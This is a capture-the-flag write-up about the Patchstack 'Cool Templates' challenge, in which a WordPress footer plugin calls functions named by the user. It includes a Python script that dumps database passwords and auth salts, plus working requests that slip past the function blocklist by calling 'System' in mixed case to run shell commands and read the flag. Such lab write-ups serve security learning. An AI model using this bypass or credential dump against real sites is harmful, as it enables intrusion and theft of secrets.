Patchstack CTF: Cool Templates

This writeup explores a Patchstack WordPress CTF challenge where a vulnerable custom footer feature allows for dynamic function execution. The challenge involves bypassing a blocklist and REGEX restrictions on function names to execute arbitrary code.

Patchstack hosted their second CTF (S02E01) during WordCamp Asia and competition was fierce, but I managed to place 5th 🥳. Some of the challenges were really interesting, and I learned a few cool tricks, so I decided to blog about them. Here’s the first one:

Challenge Page

Challenge Page

URL: http://52.77.81.199:9122

As a big fan of template injection (WPML 😉), I had big hopes for Cool Templates, and it delivered. It was a really fun challenge with just the right amount of frustration. It was quite a simple plugin that adds a customisation footer to every WordPress page.

All the code is in a single file custom-footer.php:

if (!defined('ABSPATH')) {  
    exit; // Prevent direct access  
}  
  
function simpletext($text = "Default Footer Text") {  
    return "<footer style='text-align:center; padding:10px; background:#f1f1f1;'>{$text}</footer>";  
}  
function bigtext($text = "Default Footer Text") {  
    return "<footer style='text-align:center; padding:10px; background:#333; color:#fff;'>{$text}</footer>";  
}  
function gradientfooter($text = "Default Footer Text") {  
    return "<footer style='text-align:center; padding:15px; background:linear-gradient(to right, #ff7e5f, #feb47b); color:#fff;'>{$text}</footer>";  
}  
  
function add_custom_footer() {  
    $blacklist = array("system", "passthru", "proc_open", "shell_exec", "include_once", "require", "require_once", "eval", "fopen",'fopen', 'tmpfile', 'bzopen', 'gzopen', 'chgrp', 'chmod', 'chown', 'copy', 'file_put_contents', 'lchgrp', 'lchown', 'link', 'mkdir', 'move_uploaded_file', 'rename', 'rmdir', 'symlink', 'tempnam', 'touch', 'unlink', 'imagepng', 'imagewbmp', 'image2wbmp', 'imagejpeg', 'imagexbm', 'imagegif', 'imagegd', 'imagegd2', 'iptcembed', 'ftp_get', 'ftp_nb_get', 'file_exists', 'file_get_contents', 'file', 'fileatime', 'filectime', 'filegroup', 'fileinode', 'filemtime', 'fileowner', 'fileperms', 'filesize', 'filetype', 'glob', 'is_dir', 'is_executable', 'is_file', 'is_link', 'is_readable', 'is_uploaded_file', 'is_writable', 'is_writeable', 'linkinfo', 'lstat', 'parse_ini_file', 'pathinfo', 'readfile', 'readlink', 'realpath', 'stat', 'gzfile', 'readgzfile', 'getimagesize', 'imagecreatefromgif', 'imagecreatefromjpeg', 'imagecreatefrompng', 'imagecreatefromwbmp', 'imagecreatefromxbm', 'imagecreatefromxpm', 'ftp_put', 'ftp_nb_put', 'exif_read_data', 'read_exif_data', 'exif_thumbnail', 'exif_imagetype', 'hash_file', 'hash_hmac_file', 'hash_update_file', 'md5_file', 'sha1_file', 'highlight_file', 'show_source', 'php_strip_whitespace', 'get_meta_tags', 'extract', 'parse_str', 'putenv', 'ini_set', 'mail', 'header', 'proc_nice', 'proc_terminate', 'proc_close', 'pfsockopen', 'fsockopen', 'apache_child_terminate', 'posix_kill', 'posix_mkfifo', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'phpinfo', 'posix_mkfifo', 'posix_getlogin', 'posix_ttyname', 'getenv', 'get_current_user', 'proc_get_status', 'get_cfg_var', 'disk_free_space', 'disk_total_space', 'diskfreespace', 'getcwd', 'getlastmo', 'getmygid', 'getmyinode', 'getmypid', 'getmyuid', 'create_function', 'exec', 'popen', 'proc_open', 'pcntl_exec');  
    if (isset($_REQUEST['template']) && isset($_REQUEST['content'])) {  
        $template = $_REQUEST['template'];  
        $content = wp_unslash(urldecode(base64_decode($_REQUEST['content'])));  
        if(preg_match('/^[a-zA-Z0-9]+$/', $template) && !in_array($template, $blacklist)) {  
            $footer = $template($content);  
            echo $footer;  
        }  
    }  
}  
  
add_action('wp_footer', 'add_custom_footer');

And that’s it!

We can pass in two parameters, the first template is the function that will be called. This uses an “interesting” feature of PHP that allows you to execute strings-as-functions by appending parenthesis to it. For example:

$hello = 'phpinfo';
$hello();  // This will execute phpinfo

This can be quite a handy shorthand for developers wanting dynamic function execution, but it’s prone to abuse if a user can control the input string.

The second parameter is the content which will be base64 decoded before being passed as an argument into the function.

$footer = $template($content);

The screenshot below shows the legitimate way to call this function, by providing base64 encoded text hello -> aGVsbG8 and the function name gradientfooter, which displays a nicely colored footer:

Nice Gradient Footer

Nice Gradient Footer

So we can call “arbitrary” functions with a single parameter that we control. However, there is a blacklist of functions we cannot use as well as a regex restriction. This blocks a load of interesting functions and the REGEX (/^[a-zA-Z0-9]+$/) prevents us from calling any with and underscore _. It also blocks static calls to class methods like ClassName::method_name.

I modified a function I often use in hacking WordPress plugins to see what functions are defined:

function what_functions_are_defined_here()  
{  
    // Get all defined functions  
    $all_functions = get_defined_functions();  
  
    $blacklist = array("system", "passthru", "proc_open", "shell_exec", "include_once", "require", "require_once", "eval", "fopen",'fopen', 'tmpfile', 'bzopen', 'gzopen', 'chgrp', 'chmod', 'chown', 'copy', 'file_put_contents', 'lchgrp', 'lchown', 'link', 'mkdir', 'move_uploaded_file', 'rename', 'rmdir', 'symlink', 'tempnam', 'touch', 'unlink', 'imagepng', 'imagewbmp', 'image2wbmp', 'imagejpeg', 'imagexbm', 'imagegif', 'imagegd', 'imagegd2', 'iptcembed', 'ftp_get', 'ftp_nb_get', 'file_exists', 'file_get_contents', 'file', 'fileatime', 'filectime', 'filegroup', 'fileinode', 'filemtime', 'fileowner', 'fileperms', 'filesize', 'filetype', 'glob', 'is_dir', 'is_executable', 'is_file', 'is_link', 'is_readable', 'is_uploaded_file', 'is_writable', 'is_writeable', 'linkinfo', 'lstat', 'parse_ini_file', 'pathinfo', 'readfile', 'readlink', 'realpath', 'stat', 'gzfile', 'readgzfile', 'getimagesize', 'imagecreatefromgif', 'imagecreatefromjpeg', 'imagecreatefrompng', 'imagecreatefromwbmp', 'imagecreatefromxbm', 'imagecreatefromxpm', 'ftp_put', 'ftp_nb_put', 'exif_read_data', 'read_exif_data', 'exif_thumbnail', 'exif_imagetype', 'hash_file', 'hash_hmac_file', 'hash_update_file', 'md5_file', 'sha1_file', 'highlight_file', 'show_source', 'php_strip_whitespace', 'get_meta_tags', 'extract', 'parse_str', 'putenv', 'ini_set', 'mail', 'header', 'proc_nice', 'proc_terminate', 'proc_close', 'pfsockopen', 'fsockopen', 'apache_child_terminate', 'posix_kill', 'posix_mkfifo', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'phpinfo', 'posix_mkfifo', 'posix_getlogin', 'posix_ttyname', 'getenv', 'get_current_user', 'proc_get_status', 'get_cfg_var', 'disk_free_space', 'disk_total_space', 'diskfreespace', 'getcwd', 'getlastmo', 'getmygid', 'getmyinode', 'getmypid', 'getmyuid', 'create_function', 'exec', 'popen', 'proc_open', 'pcntl_exec');  
  
    // Filter user-defined functions without an underscore in the name  
    $matching_functions1 = array_filter($all_functions['user'], function ($function) use ($blacklist) {        return strpos($function, '_') === false && !in_array($function, $blacklist);  
    });  
  
    // Output the matching functions  
    print_r($matching_functions1);  
  
    // Filter user-defined functions without an underscore in the name  
    $matching_functions2 = array_filter($all_functions['internal'], function ($function) use ($blacklist) {  
        return strpos($function, '_') === false && !in_array($function, $blacklist);  
    });  
  
    // Output the matching functions  
    print_r($matching_functions2);
}

This gives us a lot of functions we can access, we can reduce this down further by only displaying those that allow calling with a single argument. I started having a look at bloginfo that can obtain some values from WordPress such as the admin_email. A request to /?template=bloginfo&content=YWRtaW5fZW1haWw= returns [email protected]. This is a nice demonstration of the execution, but nothing interesting is saved there.

A more interesting function we can hit is constant which allows us to print the contents of any defined constant. I tried this on my local test instance and then wrote a short Python script to list out a load of the interesting values from the target.

import base64  
import re  
  
import requests  
  
TARGET = 'http://wordpress.local:1337'  
TARGET = 'http://52.77.81.199:9122'  
  
def do_request(func, param):  
    param = base64.b64encode(param.encode()).decode()  
    r = requests.get(f'{TARGET}/?template={func}&content={param}')  
    match = re.search(r'</div>[\s\n]*([^<]*)<script id="wp-block-template', r.text)  
    content = match.group(1) if match else None  
    return content  
  
constants = """DB_NAME  
DB_USER  
DB_PASSWORD  
DB_HOST  
DB_CHARSET  
DB_COLLATE  
AUTH_KEY  
SECURE_AUTH_KEY  
LOGGED_IN_KEY  
NONCE_KEY  
AUTH_SALT  
SECURE_AUTH_SALT  
LOGGED_IN_SALT  
NONCE_SALT
...""".splitlines()  
  
for constant in constants:  
    content = do_request('constant', constant)  
    print(constant, content)

This shows the following values:

ABSPATH /var/www/html/
DB_NAME wordpress
DB_USER wordpress
DB_PASSWORD ZYVTtGx9Si96ZA36twaBs7mXWL2lvkI1
DB_HOST wp_service_1_db
DB_CHARSET utf8
DB_COLLATE 
AUTH_KEY oRY0&xrZ JIm};F|uc>ZOXNhmW(&F*&;Y jki{[Ap]xLq-kCBa8?g(ImiVD]eUaw
SECURE_AUTH_KEY None
LOGGED_IN_KEY :ydLHv Lf/}MMtj}aE-)c#rbKp;b+M!SwZkfb!;PX5Dr*rT~+DAojL#U,h_*35/e
NONCE_KEY None
AUTH_SALT None
SECURE_AUTH_SALT g)e7W9rJ[fwv]~4xSl2*~2:S ;,Mr]h{o30Ow6FyS4o/M~V(dijo81sw%-r!AG{!
LOGGED_IN_SALT None
NONCE_SALT fCGf8VT(gY]x!yg};3sGSa>p>5miCJn+K(^yOlNT!70}y#mO>b*2YOJi$}cD$xy:
BLOCKS_PATH /var/www/html/wp-includes/blocks/
WP_CONTENT_URL http://52.77.81.199:9122/wp-content
WP_PLUGIN_DIR /var/www/html/wp-content/plugins
WP_PLUGIN_URL http://52.77.81.199:9122/wp-content/plugins
PLUGINDIR wp-content/plugins
WPMU_PLUGIN_DIR /var/www/html/wp-content/mu-plugins
WPMU_PLUGIN_URL http://52.77.81.199:9122/wp-content/mu-plugins
MUPLUGINDIR wp-content/mu-plugins
COOKIEHASH eb412336a2756993f3d650cbcdee84d8
USER_COOKIE wordpressuser_eb412336a2756993f3d650cbcdee84d8
PASS_COOKIE wordpresspass_eb412336a2756993f3d650cbcdee84d8
AUTH_COOKIE wordpress_eb412336a2756993f3d650cbcdee84d8
SECURE_AUTH_COOKIE wordpress_sec_eb412336a2756993f3d650cbcdee84d8
LOGGED_IN_COOKIE wordpress_logged_in_eb412336a2756993f3d650cbcdee84d8

This was cool, as we expose some very sensitive values, like the AUTH_KEY, SECURE_AUTH_SALT and NONCE_SALT. These could likely be used to generate nonces, or to help forge cookies, but given how small the plugin is, this was unlikely to be the right path to travel down.

After taking a break for a little bit I decided to try something I thought was silly. So I dropped into an interactive PHP shell (php -a) and decided to try and see if we could use capital letters in PHP function names to bypass the REGEX restriction:

root@0c8f1becbc5f:/var/www/html# php -a  
Interactive shell  
  
php > Eval('echo 1+1;');  
2

Bingpot. It worked! However, when I went to test this on the sever it did not work 😔 This is because eval is a bit of special function in PHP and cannot be directly executed by "Eval"(). We also cant use something like shell_exec because it contains and underscore and the regex blocks ti, but we can use system or should I say SYSTEM!!!

ℹ️
PHP is such a crazy and flexible language, accepting any casing for function names is just one of these beautiful quirks.

We can send the following request where ls -lah / base64 encoded is bHMgLWxhaCAv creating a path of:/?template=System&content=bHMgLWxhaCAv

Woo, this shows that the flag is in the root directory:

Command Execution Listing Directory

Command Execution Listing Directory

    total 64K
    drwxr-xr-x 1 root root 4.0K Feb 20 00:47 .
    drwxr-xr-x 1 root root 4.0K Feb 20 00:47 ..
    -rwxr-xr-x 1 root root 0 Feb 20 00:47 .dockerenv
    lrwxrwxrwx 1 root root 7 Feb 3 00:00 bin -> usr/bin
    drwxr-xr-x 2 root root 4.0K Dec 31 10:25 boot
    drwxr-xr-x 5 root root 340 Feb 20 00:47 dev
    drwxr-xr-x 1 root root 4.0K Feb 20 00:47 etc
    -r--r--r-- 1 root root 28 Feb 20 00:43 flag-0YX84qJMZwAs6jJF0tQwHBWd694XuIRZ.txt
    drwxr-xr-x 2 root root 4.0K Dec 31 10:25 home
    lrwxrwxrwx 1 root root 7 Feb 3 00:00 lib -> usr/lib
    lrwxrwxrwx 1 root root 9 Feb 3 00:00 lib64 -> usr/lib64
    drwxr-xr-x 2 root root 4.0K Feb 3 00:00 media
    drwxr-xr-x 2 root root 4.0K Feb 3 00:00 mnt
    drwxr-xr-x 2 root root 4.0K Feb 3 00:00 opt
    dr-xr-xr-x 385 root root 0 Feb 20 00:47 proc
    drwx------ 1 root root 4.0K Feb 20 01:20 root
    drwxr-xr-x 1 root root 4.0K Feb 4 04:33 run
    lrwxrwxrwx 1 root root 8 Feb 3 00:00 sbin -> usr/sbin
    drwxr-xr-x 2 root root 4.0K Feb 3 00:00 srv
    dr-xr-xr-x 13 root root 0 Feb 20 00:47 sys
    drwxrwxrwt 1 root root 4.0K Feb 20 00:47 tmp
    drwxr-xr-x 1 root root 4.0K Feb 3 00:00 usr
    drwxr-xr-x 1 root root 4.0K Feb 4 04:33 var
    drwxr-xr-x 1 root root 4.0K Feb 4 04:33 var<script id=

And then similarly cat /flag-0YX84qJMZwAs6jJF0tQwHBWd694XuIRZ.txt in base64 is flag-0YX84qJMZwAs6jJF0tQwHBWd694XuIRZ.txt results in a path of /?template=System&content=Y2F0IC9mbGFnLTBZWDg0cUpNWndBczZqSkYwdFF3SEJXZDY5NFh1SVJaLnR4dA==

And this gives us the flag:

Command Execution Printing the Flag

Command Execution Printing the Flag

        </footer>
    </div>
    CTF{C00l_T3mpl4t3s_759eee4d}CTF{C00l_T3mpl4t3s_759eee4d}<script id="wp-block-template-skip-link-js-after">

Flag: CTF{C00l_T3mpl4t3s_759eee4d}

Summary

This write-up explores the risks of PHP’s dynamic function execution, showcasing how a vulnerable WordPress plugin in the Patchstack CTF was exploited by bypassing restrictions using PHP’s acceptance of mixed-case function names. By creatively leveraging PHP’s flexibility, the challenge demonstrated how attackers can execute arbitrary commands, highlighting the need for strict input validation and cautious use of dynamic features.